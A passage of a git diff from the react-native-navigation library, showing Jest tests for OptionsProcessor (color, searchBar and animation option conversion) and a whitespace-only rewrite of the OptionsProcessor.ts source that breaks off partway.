duration: 3, + }, + }, + }, + }, + }; + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual(expectedOptions); + }); + + describe('Modal Animation Options', () => { + describe('Show Modal', () => { + it('processes old options into new options,backwards compatibility ', () => { + const options: Options = { + animations: { + showModal: { + enabled: false, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + dismissModal: { + enabled: true, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + }, + }; + + const expected: Options = { + animations: { + showModal: { + enter: { + enabled: false, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + }, + dismissModal: { + exit: { + enabled: true, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + }, + }, + }; + uut.processOptions(CommandName.ShowModal, options); + expect(options).toEqual(expected); + }); + + it('processes old enabled options into new options,backwards compatibility ', () => { + const options: Options = { + animations: { + showModal: { + enabled: false, + }, + dismissModal: { + enabled: true, + }, + }, + }; + + const expected: Options = { + animations: { + showModal: { + enter: { + enabled: false, + }, + }, + dismissModal: { + exit: { + enabled: true, + }, + }, + }, + }; + uut.processOptions(CommandName.ShowModal, options); + expect(options).toEqual(expected); + }); + + it('should not process new options', () => { + const options: Options = { + animations: { + showModal: { + enter: { + enabled: false, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + }, + dismissModal: { + exit: { + enabled: true, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + }, + }, + }; + const expected: Options = { ...options }; + uut.processOptions(CommandName.ShowModal, options); + expect(options).toEqual(expected); + }); + }); + + describe('Dismiss Modal', () => { + it('processes old options into new options,backwards compatibility ', () => { + const options: Options = { + animations: { + showModal: { + enabled: false, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + dismissModal: { + enabled: true, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + }, + }; + + const expected: Options = { + animations: { + showModal: { + enter: { + enabled: false, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + }, + dismissModal: { + exit: { + enabled: true, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + }, + }, + }; + uut.processOptions(CommandName.DismissModal, options); + expect(options).toEqual(expected); + }); + + it('processes old enabled options into new options,backwards compatibility ', () => { + const options: Options = { + animations: { + showModal: { + enabled: false, + }, + dismissModal: { + enabled: true, + }, + }, + }; + + const expected: Options = { + animations: { + showModal: { + enter: { + enabled: false, + }, + }, + dismissModal: { + exit: { + enabled: true, + }, + }, + }, + }; + uut.processOptions(CommandName.DismissModal, options); + expect(options).toEqual(expected); + }); + + it('should not process new options', () => { + const options: Options = { + animations: { + showModal: { + enter: { + enabled: false, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + }, + dismissModal: { + exit: { + enabled: true, + translationY: { + from: 0, + to: 1, + duration: 3, + }, + }, + }, + }, + }; + const expected: Options = { ...options }; + uut.processOptions(CommandName.DismissModal, options); + expect(options).toEqual(expected); + }); + }); + }); + + it('keeps original values if values were not processed', () => { + const options: Options = { + blurOnUnmount: false, + popGesture: false, + modalPresentationStyle: OptionsModalPresentationStyle.fullScreen, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + blurOnUnmount: false, + popGesture: false, + modalPresentationStyle: OptionsModalPresentationStyle.fullScreen, + }); + }); + + it('passes value to registered processor', () => { + const options: Options = { + topBar: { + visible: true, + }, + }; + + optionProcessorsRegistry.addProcessor('topBar.visible', (value: boolean) => { + return !value; + }); + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { + visible: false, + }, + }); + }); + + it('process options object with multiple values using registered processor', () => { + const options: Options = { + topBar: { + visible: true, + background: { + translucent: true, + }, + }, + }; + + optionProcessorsRegistry.addProcessor('topBar.visible', (value: boolean) => { + return !value; + }); + + optionProcessorsRegistry.addProcessor('topBar.background.translucent', (value: boolean) => { + return !value; + }); + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { + visible: false, + background: { + translucent: false, + }, + }, + }); + }); + + it('passes commandName to registered processor', () => { + const options: Options = { + topBar: { + visible: false, + }, + }; + + optionProcessorsRegistry.addProcessor('topBar.visible', (_value, commandName) => { + expect(commandName).toEqual(CommandName.SetRoot); + }); + + uut.processOptions(CommandName.SetRoot, options); + }); + + it('passes props to registered processor', () => { + const options: Options = { + topBar: { + visible: false, + }, + }; + const props = { + prop: 'prop', + }; + const processor: Processor = (_value, _commandName, passProps) => { + expect(passProps).toEqual(props); + return _value; + }; + + optionProcessorsRegistry.addProcessor('topBar.visible', processor); + uut.processOptions(CommandName.SetRoot, options, props); + }); + + it('supports multiple registered processors', () => { + const options: Options = { + topBar: { + visible: true, + }, + }; + + optionProcessorsRegistry.addProcessor('topBar.visible', () => false); + optionProcessorsRegistry.addProcessor('topBar.visible', () => true); + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { + visible: true, + }, + }); + }); + + it('supports multiple registered processors deep props', () => { + const options: Options = { + topBar: { + visible: false, + background: { + translucent: false, + }, + }, + bottomTabs: { + visible: false, + }, + }; + + optionProcessorsRegistry.addProcessor('topBar.visible', () => true); + optionProcessorsRegistry.addProcessor('bottomTabs.visible', () => true); + optionProcessorsRegistry.addProcessor('topBar.background.translucent', () => true); + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { + visible: true, + background: { + translucent: true, + }, + }, + bottomTabs: { + visible: true, + }, + }); + }); + + describe('color processor', () => { + describe('Android', () => { + beforeEach(() => { + Platform.OS = 'android'; + }); + + it('should not process undefined color', () => { + const options: Options = { + topBar: { background: { color: undefined } }, + }; + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { background: { color: undefined } }, + }); + }); + + it('PlatformColor should be passed to native as is', () => { + const options: Options = { + topBar: { + background: { + color: { + // @ts-ignore + resource_paths: ['@color/textColor'], + }, + }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { background: { color: { resource_paths: ['@color/textColor'] } } }, + }); + }); + + it('processes color keys', () => { + const options: Options = { + statusBar: { backgroundColor: 'red' }, + topBar: { background: { color: 'blue' } }, + }; + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + statusBar: { backgroundColor: { light: 0xffff0000, dark: 0xffff0000 } }, + topBar: { background: { color: { light: 0xff0000ff, dark: 0xff0000ff } } }, + }); + }); + + it('processes null color', () => { + const options: Options = { + topBar: { background: { color: null } }, + }; + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { background: { color: { light: 'NoColor', dark: 'NoColor' } } }, + }); + }); + + it('processes color keys to ThemeColor', () => { + const options: Options = { + topBar: { + background: { color: { light: 'blue', dark: 'red' } }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { + background: { color: { light: 0xff0000ff, dark: 0xffff0000 } }, + }, + }); + }); + }); + + describe('iOS', () => { + beforeEach(() => { + Platform.OS = 'ios'; + }); + + it('processes color keys', () => { + const options: Options = { + statusBar: { backgroundColor: 'red' }, + topBar: { background: { color: 'blue' } }, + }; + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + statusBar: { backgroundColor: 0xffff0000 }, + topBar: { background: { color: 0xff0000ff } }, + }); + }); + + it('should not process undefined color', () => { + const options: Options = { + topBar: { background: { color: undefined } }, + }; + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { background: { color: undefined } }, + }); + }); + + it('processes null color', () => { + const options: Options = { + topBar: { background: { color: null } }, + }; + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { background: { color: 'NoColor' } }, + }); + }); + + it('processes color keys to ThemeColor', () => { + const options: Options = { + statusBar: { backgroundColor: 'red' }, + topBar: { + background: { color: { light: 'blue', dark: 'red' } }, + title: { + color: undefined, + }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + statusBar: { backgroundColor: 0xffff0000 }, + topBar: { + background: { color: { dynamic: { light: 0xff0000ff, dark: 0xffff0000 } } }, + title: { + color: undefined, + }, + }, + }); + }); + + it('supports DynamicColorIOS', () => { + const options: Options = { + topBar: { background: { color: DynamicColorIOS({ light: 'red', dark: 'blue' }) } }, + }; + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { background: { color: { dynamic: { light: 0xffff0000, dark: 0xff0000ff } } } }, + }); + }); + + it('should not process undefined value', () => { + const options: Options = { + topBar: { background: { color: undefined } }, + }; + + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + topBar: { background: { color: undefined } }, + }); + }); + }); + }); + + it('processes image keys', () => { + const options: Options = { + backgroundImage: 123, + rootBackgroundImage: 234, + bottomTab: { icon: 345, selectedIcon: 345 }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options).toEqual({ + backgroundImage: { height: 100, scale: 1, uri: 'lol', width: 100 }, + rootBackgroundImage: { height: 100, scale: 1, uri: 'lol', width: 100 }, + bottomTab: { + icon: { height: 100, scale: 1, uri: 'lol', width: 100 }, + selectedIcon: { height: 100, scale: 1, uri: 'lol', width: 100 }, + }, + }); + }); + + it('calls store if component has passProps', () => { + const passProps = { some: 'thing' }; + const options = { topBar: { title: { component: { passProps, name: 'a' } } } }; + + uut.processOptions(CommandName.SetRoot, options); + + verify(mockedStore.setPendingProps('CustomComponent1', passProps)).called(); + }); + + it('generates componentId for component id was not passed', () => { + const options = { topBar: { title: { component: { name: 'a' } } } }; + + uut.processOptions(CommandName.SetRoot, options); + + expect(options).toEqual({ + topBar: { title: { component: { name: 'a', componentId: 'CustomComponent1' } } }, + }); + }); + + it('copies passed id to componentId key', () => { + const options = { topBar: { title: { component: { name: 'a', id: 'Component1' } } } }; + + uut.processOptions(CommandName.SetRoot, options); + + expect(options).toEqual({ + topBar: { title: { component: { name: 'a', id: 'Component1', componentId: 'Component1' } } }, + }); + }); + + it('calls store when button has passProps and id', () => { + const passProps = { prop: 'prop' }; + const options = { topBar: { rightButtons: [{ passProps, id: '1' }] } }; + + uut.processOptions(CommandName.SetRoot, options); + + verify(mockedStore.setPendingProps('1', passProps)).called(); + }); + + it('do not touch passProps when id for button is missing', () => { + const passProps = { prop: 'prop' }; + const options = { topBar: { rightButtons: [{ passProps } as any] } }; + + uut.processOptions(CommandName.SetRoot, options); + + expect(options).toEqual({ topBar: { rightButtons: [{ passProps }] } }); + }); + + it('omits passProps when processing buttons or components', () => { + const options = { + topBar: { + rightButtons: [{ passProps: {}, id: 'btn1' }], + leftButtons: [{ passProps: {}, id: 'btn2' }], + title: { component: { name: 'helloThere1', passProps: {} } }, + background: { component: { name: 'helloThere2', passProps: {} } }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.topBar.rightButtons[0].passProps).toBeUndefined(); + expect(options.topBar.leftButtons[0].passProps).toBeUndefined(); + expect(options.topBar.title.component.passProps).toBeUndefined(); + expect(options.topBar.background.component.passProps).toBeUndefined(); + }); + + it('Will ensure the store has a chance to lazily load components in options', () => { + const options = { + topBar: { + title: { component: { name: 'helloThere1', passProps: {} } }, + background: { component: { name: 'helloThere2', passProps: {} } }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + verify(mockedStore.ensureClassForName('helloThere1')).called(); + verify(mockedStore.ensureClassForName('helloThere2')).called(); + }); + + it('show warning on iOS when toggling bottomTabs visibility through mergeOptions', () => { + jest.spyOn(console, 'warn'); + uut.processOptions(CommandName.MergeOptions, { bottomTabs: { visible: false } }); + expect(console.warn).toBeCalledWith( + 'toggling bottomTabs visibility is deprecated on iOS. For more information see https://github.com/wix/react-native-navigation/issues/6416', + { + bottomTabs: { visible: false }, + } + ); + }); + + describe('searchBar', () => { + describe('Android', () => { + beforeEach(() => { + Platform.OS = 'android'; + }); + + it('transform searchBar bool to object', () => { + const options = { topBar: { searchBar: true as any } }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.topBar.searchBar).toStrictEqual({ + visible: true, + hideOnScroll: false, + hideTopBarOnFocus: false, + obscuresBackgroundDuringPresentation: false, + backgroundColor: undefined, + tintColor: undefined, + placeholder: '', + }); + }); + + it('transform searchBar bool to object and merges in deprecated values', () => { + const options = { + topBar: { + searchBar: true as any, + searchBarHiddenWhenScrolling: true, + hideNavBarOnFocusSearchBar: true, + searchBarBackgroundColor: 'red', + searchBarTintColor: 'green', + searchBarPlaceholder: 'foo', + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.topBar.searchBar).toStrictEqual({ + visible: true, + hideOnScroll: true, + hideTopBarOnFocus: true, + obscuresBackgroundDuringPresentation: false, + backgroundColor: { dark: 0xffff0000, light: 0xffff0000 }, + tintColor: { dark: 0xff00ff00, light: 0xff00ff00 }, + placeholder: 'foo', + }); + }); + }); + + describe('iOS', () => { + beforeEach(() => { + Platform.OS = 'ios'; + }); + + it('transform searchBar bool to object', () => { + const options = { topBar: { searchBar: true as any } }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.topBar.searchBar).toStrictEqual({ + visible: true, + hideOnScroll: false, + hideTopBarOnFocus: false, + obscuresBackgroundDuringPresentation: false, + backgroundColor: undefined, + tintColor: undefined, + placeholder: '', + }); + }); + + it('transform searchBar bool to object and merges in deprecated values', () => { + const options = { + topBar: { + searchBar: true as any, + searchBarHiddenWhenScrolling: true, + hideNavBarOnFocusSearchBar: true, + searchBarBackgroundColor: 'red', + searchBarTintColor: 'green', + searchBarPlaceholder: 'foo', + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.topBar.searchBar).toStrictEqual({ + visible: true, + hideOnScroll: true, + hideTopBarOnFocus: true, + obscuresBackgroundDuringPresentation: false, + backgroundColor: 0xffff0000, + tintColor: 0xff00ff00, + placeholder: 'foo', + }); + }); + }); + }); + + describe('process animations options', () => { + const performOnViewsInvolvedInStackAnimation = (action: (view: string) => void) => + ['content', 'topBar', 'bottomTabs'].forEach(action); + + describe('push', () => { + it('old *.push api is converted into push.*.enter', () => { + performOnViewsInvolvedInStackAnimation((view: string) => { + const options: Options = { + animations: { + push: { + [view]: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.animations!!.push).toStrictEqual({ + [view]: { + enter: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }); + }); + }); + + it('StackAnimationOptions based push api is left as is', () => { + performOnViewsInvolvedInStackAnimation((view: string) => { + const options: Options = { + animations: { + push: { + [view]: { + exit: { + alpha: { + from: 1, + to: 0, + }, + }, + enter: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.animations!!.push).toStrictEqual({ + [view]: { + exit: { + alpha: { + from: 1, + to: 0, + }, + }, + enter: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }); + }); + }); + + it('Options not related to views are left as is', () => { + performOnViewsInvolvedInStackAnimation(() => { + const options: Options = { + animations: { + push: { + enabled: false, + waitForRender: true, + sharedElementTransitions: [], + elementTransitions: [], + }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.animations!!.push).toStrictEqual({ + enabled: false, + waitForRender: true, + sharedElementTransitions: [], + elementTransitions: [], + }); + }); + }); + }); + + describe('pop', () => { + it('old pop.content api is converted into pop.content.exit', () => { + performOnViewsInvolvedInStackAnimation((view: string) => { + const options: Options = { + animations: { + pop: { + [view]: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.animations!!.pop).toStrictEqual({ + [view]: { + exit: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }); + }); + }); + + it('StackAnimationOptions based pop api is left as is', () => { + performOnViewsInvolvedInStackAnimation((view: string) => { + const options: Options = { + animations: { + pop: { + [view]: { + exit: { + alpha: { + from: 1, + to: 0, + }, + }, + enter: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.animations!!.pop).toStrictEqual({ + [view]: { + exit: { + alpha: { + from: 1, + to: 0, + }, + }, + enter: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }); + }); + }); + + it('Options not related to views are left as is', () => { + performOnViewsInvolvedInStackAnimation(() => { + const options: Options = { + animations: { + pop: { + enabled: false, + waitForRender: true, + sharedElementTransitions: [], + elementTransitions: [], + }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.animations!!.pop).toStrictEqual({ + enabled: false, + waitForRender: true, + sharedElementTransitions: [], + elementTransitions: [], + }); + }); + }); + }); + + describe('setStackRoot', () => { + it('ViewAnimationOptions based setStackRoot api is converted to StackAnimationOptions based api', () => { + const options: Options = { + animations: { + setStackRoot: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.animations!!.setStackRoot).toStrictEqual({ + content: { + enter: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }); + }); + + it('Disabled ViewAnimationOptions based setStackRoot api is converted to StackAnimationOptions based api', () => { + const options: Options = { + animations: { + setStackRoot: { + enabled: false, + waitForRender: true, + }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.animations!!.setStackRoot as StackAnimationOptions).toStrictEqual({ + enabled: false, + waitForRender: true, + content: { + enter: { + enabled: false, + waitForRender: true, + }, + }, + }); + }); + + it('StackAnimationOptions based setStackRoot api is left as is', () => { + performOnViewsInvolvedInStackAnimation((view: string) => { + const options: Options = { + animations: { + setStackRoot: { + [view]: { + enter: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }, + }, + }; + uut.processOptions(CommandName.SetRoot, options); + expect(options.animations!!.setStackRoot).toStrictEqual({ + [view]: { + enter: { + alpha: { + from: 0, + to: 1, + }, + }, + }, + }); + }); + }); + }); + }); +}); diff --git a/src/commands/OptionsProcessor.ts b/src/commands/OptionsProcessor.ts index 1fc0316c8d6..70957b210cf 100644 --- a/src/commands/OptionsProcessor.ts +++ b/src/commands/OptionsProcessor.ts @@ -1,426 +1,426 @@ -import clone from 'lodash/clone'; -import isEqual from 'lodash/isEqual'; -import isObject from 'lodash/isObject'; -import isArray from 'lodash/isArray'; -import isString from 'lodash/isString'; -import endsWith from 'lodash/endsWith'; -import forEach from 'lodash/forEach'; -import has from 'lodash/has'; - -import { Store } from '../components/Store'; -import { UniqueIdProvider } from '../adapters/UniqueIdProvider'; -import { ColorService } from '../adapters/ColorService'; -import { AssetService } from '../adapters/AssetResolver'; -import { - AnimationOptions, - EnterExitAnimationOptions, - ModalAnimationOptions, - OldModalAnimationOptions, - Options, - OptionsSearchBar, - OptionsTopBar, - StackAnimationOptions, - StatusBarAnimationOptions, - TopBarAnimationOptions, - ViewAnimationOptions, -} from '../interfaces/Options'; -import { Deprecations } from './Deprecations'; -import { OptionProcessorsStore } from '../processors/OptionProcessorsStore'; -import { CommandName } from '../interfaces/CommandName'; -import { Platform, DynamicColorIOS, ColorValue } from 'react-native'; - -export class OptionsProcessor { - constructor( - private store: Store, - private uniqueIdProvider: UniqueIdProvider, - private optionProcessorsRegistry: OptionProcessorsStore, - private colorService: ColorService, - private assetService: AssetService, - private deprecations: Deprecations - ) {} - - public processOptions(commandName: CommandName, options?: Options, props?: any) { - if (options) { - this.processObject( - options, - clone(options), - (key, parentOptions) => { - this.deprecations.onProcessOptions(key, parentOptions, commandName); - this.deprecations.checkForDeprecatedOptions(parentOptions); - }, - commandName, - props - ); - } - } - - public processDefaultOptions(options: Options, commandName: CommandName) { - this.processObject( - options, - clone(options), - (key, parentOptions) => { - this.deprecations.onProcessDefaultOptions(key, parentOptions); - }, - commandName - ); - } - - private processObject( - objectToProcess: Record, - parentOptions: object, - onProcess: (key: string, parentOptions: object) => void, - commandName: CommandName, - props?: any, - parentPath?: string - ) { - forEach(objectToProcess, (value, key) => { - const objectPath = this.resolveObjectPath(key, parentPath); - this.processWithRegisteredProcessor( - key, - value, - objectToProcess, - objectPath, - commandName, - props - ); - - this.processColor(key, value, objectToProcess); - - if (!value) { - return; - } - this.processComponent(key, value, objectToProcess); - this.processImage(key, value, objectToProcess); - this.processButtonsPassProps(key, value); - this.processSearchBar(key, value, objectToProcess); - this.processInterpolation(key, value, objectToProcess); - this.processAnimation(key, value, objectToProcess); - - onProcess(key, parentOptions); - - const processedValue = objectToProcess[key]; - if (!isEqual(key, 'passProps') && (isObject(processedValue) || isArray(processedValue))) { - this.processObject( - processedValue, - parentOptions, - onProcess, - commandName, - props, - objectPath - ); - } - }); - } - - private resolveObjectPath(key: string, path?: string): string { - if (!path) path = key; - else path += `.${key}`; - return path; - } - - private processColor(key: string, value: any, options: Record) { - if ((isEqual(key, 'color') || endsWith(key, 'Color')) && !isEqual(key, 'bkgColor')) { - if (Platform.OS === 'ios') this.processColorIOS(key, value, options); - else this.processColorAndroid(key, value, options); - } - } - - private processColorIOS(key: string, value: any, options: Record) { - if (value !== undefined) { - if (value === null) { - options[key] = 'NoColor'; - } else if (value instanceof Object) { - if ('semantic' in value) { - options[key] = value; - } else if ('dynamic' in value) { - options[key] = DynamicColorIOS({ - light: this.colorService.toNativeColor(value.dynamic.light) as ColorValue, - dark: this.colorService.toNativeColor(value.dynamic.dark) as ColorValue, - }); - } else { - options[key] = DynamicColorIOS({ - light: this.colorService.toNativeColor(value.light) as ColorValue, - dark: this.colorService.toNativeColor(value.dark) as ColorValue, - }); - } - } else { - options[key] = this.colorService.toNativeColor(value); - } - } - } - - private processColorAndroid(key: string, value: any, options: Record) { - if (value !== undefined) { - const newColorObj: Record = { dark: 'NoColor', light: 'NoColor' }; - if (value === null) { - options[key] = newColorObj; - } else if (value instanceof Object) { - if ('semantic' in value || 'resource_paths' in value) { - options[key] = value; - return; - } else { - for (let keyColor in value) { - newColorObj[keyColor] = this.colorService.toNativeColor(value[keyColor]); - } - options[key] = newColorObj; - } - } else { - let parsedColor = this.colorService.toNativeColor(value); - newColorObj.light = parsedColor; - newColorObj.dark = parsedColor; - options[key] = newColorObj; - } - } - } - - private processWithRegisteredProcessor( - key: string, - value: string, - options: Record, - path: string, - commandName: CommandName, - passProps: any - ) { - const registeredProcessors = this.optionProcessorsRegistry.getProcessors(path); - if (registeredProcessors) { - registeredProcessors.forEach((processor) => { - options[key] = processor(value, commandName, passProps); - }); - } - } - - private processImage(key: string, value: any, options: Record) { - if ( - isEqual(key, 'icon') || - isEqual(key, 'image') || - endsWith(key, 'Icon') || - endsWith(key, 'Image') - ) { - options[key] = isString(value) ? value : this.assetService.resolveFromRequire(value); - } - } - - private processButtonsPassProps(key: string, value: any) { - if (endsWith(key, 'Buttons')) { - forEach(value, (button) => { - if (button.passProps && button.id) { - this.store.setPendingProps(button.id, button.passProps); - button.passProps = undefined; - } - }); - } - } - - private processComponent(key: string, value: any, options: Record) { - if (isEqual(key, 'component')) { - value.componentId = value.id ? value.id : this.uniqueIdProvider.generate('CustomComponent'); - this.store.ensureClassForName(value.name); - if (value.passProps) { - this.store.setPendingProps(value.componentId, value.passProps); - } - options[key].passProps = undefined; - } - } - - private processSearchBar(key: string, value: OptionsSearchBar | boolean, options: OptionsTopBar) { - if (key !== 'searchBar') { - return; - } - - const deprecatedSearchBarOptions: OptionsSearchBar = { - visible: false, - hideOnScroll: options.searchBarHiddenWhenScrolling ?? false, - hideTopBarOnFocus: options.hideNavBarOnFocusSearchBar ?? false, - obscuresBackgroundDuringPresentation: false, - backgroundColor: options.searchBarBackgroundColor, - tintColor: options.searchBarTintColor, - placeholder: options.searchBarPlaceholder ?? '', - }; - - if (typeof value === 'boolean') { - // Deprecated - this.deprecations.onProcessOptions(key, options, ''); - - options[key] = { - ...deprecatedSearchBarOptions, - visible: value, - }; - } else { - options[key] = { - ...deprecatedSearchBarOptions, - ...value, - }; - } - } - - private processInterpolation(key: string, value: any, options: Record) { - if (isEqual(key, 'interpolation')) { - if (typeof value === 'string') { - this.deprecations.onProcessOptions(key, options, ''); - options[key] = { - type: options[key], - }; - } - } - } - - private processAnimation(key: string, value: any, options: Record) { - this.processSetRootAnimation(key, value, options); - this.processPush(key, value, options); - this.processPop(key, value, options); - this.processSetStackRoot(key, value, options); - this.processShowModal(key, value, options); - this.processDismissModal(key, value, options); - } - - private processSetStackRoot( - key: string, - animation: ViewAnimationOptions | StackAnimationOptions, - parentOptions: AnimationOptions - ) { - if (key !== 'setStackRoot') return; - if (this.isNewStackAnimationApi(animation)) return; - this.convertDeprecatedViewAnimationApiToNewStackAnimationApi(animation, parentOptions); - } - - private isNewStackAnimationApi(animation: ViewAnimationOptions | StackAnimationOptions) { - return has(animation, 'content') || has(animation, 'topBar') || has(animation, 'bottomTabs'); - } - - private convertDeprecatedViewAnimationApiToNewStackAnimationApi( - animation: ViewAnimationOptions | StackAnimationOptions, - parentOptions: AnimationOptions - ) { - if (!has(animation, 'content.enter') && !has(animation, 'content.exit')) { - parentOptions.setStackRoot = { - content: { - enter: animation, - }, - }; - if (has(animation, 'enabled')) { - parentOptions.setStackRoot!!.enabled = animation.enabled; - } - if (has(animation, 'waitForRender')) { - parentOptions.setStackRoot!!.waitForRender = animation.waitForRender; - } - } - } - - private processPop( - key: string, - animation: StackAnimationOptions, - parentOptions: AnimationOptions - ) { - if (key !== 'pop') return; - if (animation.content && !has(animation, 'content.enter') && !has(animation, 'content.exit')) { - parentOptions.pop!!.content = { - exit: animation.content as ViewAnimationOptions, - }; - } - if (animation.topBar && !has(animation, 'topBar.enter') && !has(animation, 'topBar.exit')) { - parentOptions.pop!!.topBar = { - exit: animation.topBar as ViewAnimationOptions, - }; - } - if ( - animation.bottomTabs && - !has(animation, 'bottomTabs.enter') && - !has(animation, 'bottomTabs.exit') - ) { - parentOptions.pop!!.bottomTabs = { - exit: animation.bottomTabs as ViewAnimationOptions, - }; - } - } - - private processSetRootAnimation( - key: string, - animation: ViewAnimationOptions | EnterExitAnimationOptions, - parentOptions: AnimationOptions - ) { - if (key !== 'setRoot') return; - if (Platform.OS === 'android' && !('enter' in animation)) { - parentOptions.setRoot = { - enter: animation, - } as EnterExitAnimationOptions; - } else if (Platform.OS === 'ios' && 'enter' in animation) { - parentOptions.setRoot = animation; - } - } - - private processShowModal( - key: string, - animation: OldModalAnimationOptions | ModalAnimationOptions, - parentOptions: AnimationOptions - ) { - if (key !== 'showModal') return; - if (!('enter' in animation)) { - const elementTransitions = animation.elementTransitions; - const sharedElementTransitions = animation.sharedElementTransitions; - const enter = { ...(animation as OldModalAnimationOptions) }; - delete enter.sharedElementTransitions; - delete enter.elementTransitions; - parentOptions.showModal = { - enter, - sharedElementTransitions, - elementTransitions, - }; - } - } - - private processDismissModal( - key: string, - animation: OldModalAnimationOptions | ModalAnimationOptions, - parentOptions: AnimationOptions - ) { - if (key !== 'dismissModal') return; - if (!('exit' in animation)) { - const elementTransitions = animation.elementTransitions; - const sharedElementTransitions = animation.sharedElementTransitions; - const exit = { ...(animation as OldModalAnimationOptions) }; - delete exit.sharedElementTransitions; - delete exit.elementTransitions; - parentOptions.dismissModal = { - exit, - sharedElementTransitions, - elementTransitions, - }; - } - } - - private processPush( - key: string, - animation: StackAnimationOptions, - parentOptions: AnimationOptions - ) { - if (key !== 'push') return; - if (animation.content && !has(animation, 'content.enter') && !has(animation, 'content.exit')) { - parentOptions.push!!.content = { - enter: animation.content as ViewAnimationOptions, - }; - } - if (animation.topBar && !has(animation, 'topBar.enter') && !has(animation, 'topBar.exit')) { - parentOptions.push!!.topBar = { - enter: animation.topBar as TopBarAnimationOptions, - }; - } - if ( - animation.statusBar && - !has(animation, 'statusBar.enter') && - !has(animation, 'statusBar.exit') - ) { - parentOptions.push!!.statusBar = { - enter: animation.statusBar as StatusBarAnimationOptions, - }; - } - if ( - animation.bottomTabs && - !has(animation, 'bottomTabs.enter') && - !has(animation, 'bottomTabs.exit') - ) { - parentOptions.push!!.bottomTabs = { - enter: animation.bottomTabs as ViewAnimationOptions, - }; - } - } -} +import clone from 'lodash/clone'; +import isEqual from 'lodash/isEqual'; +import isObject from 'lodash/isObject'; +import isArray from 'lodash/isArray'; +import isString from 'lodash/isString'; +import endsWith from 'lodash/endsWith'; +import forEach from 'lodash/forEach'; +import has from 'lodash/has'; + +import { Store } from '../components/Store'; +import { UniqueIdProvider } from '../adapters/UniqueIdProvider'; +import { ColorService } from '../adapters/ColorService'; +import { AssetService } from '../adapters/AssetResolver'; +import { + AnimationOptions, + EnterExitAnimationOptions, + ModalAnimationOptions, + OldModalAnimationOptions, + Options, + OptionsSearchBar, + OptionsTopBar, + StackAnimationOptions, + StatusBarAnimationOptions, + TopBarAnimationOptions, + ViewAnimationOptions, +} from '../interfaces/Options'; +import { Deprecations } from './Deprecations'; +import { OptionProcessorsStore } from '../processors/OptionProcessorsStore'; +import { CommandName } from '../interfaces/CommandName'; +import { Platform, DynamicColorIOS, ColorValue } from 'react-native'; + +export class OptionsProcessor { + constructor( + private store: Store, + private uniqueIdProvider: UniqueIdProvider, + private optionProcessorsRegistry: OptionProcessorsStore, + private colorService: ColorService, + private assetService: AssetService, + private deprecations: Deprecations + ) {} + + public processOptions(commandName: CommandName, options?: Options, props?: any) { + if (options) { + this.processObject( + options, + clone(options), + (key, parentOptions) => { + this.deprecations.onProcessOptions(key, parentOptions, commandName); + this.deprecations.checkForDeprecatedOptions(parentOptions); + }, + commandName, + props + ); + } + } + + public processDefaultOptions(options: Options, commandName: CommandName) { + this.processObject( + options, + clone(options), + (key, parentOptions) => { + this.deprecations.onProcessDefaultOptions(key, parentOptions); + }, + commandName + ); + } + + private processObject( + objectToProcess: Record, + parentOptions: object, + onProcess: (key: string, parentOptions: object) => void, + commandName: CommandName, + props?: any, + parentPath?: string + ) { + 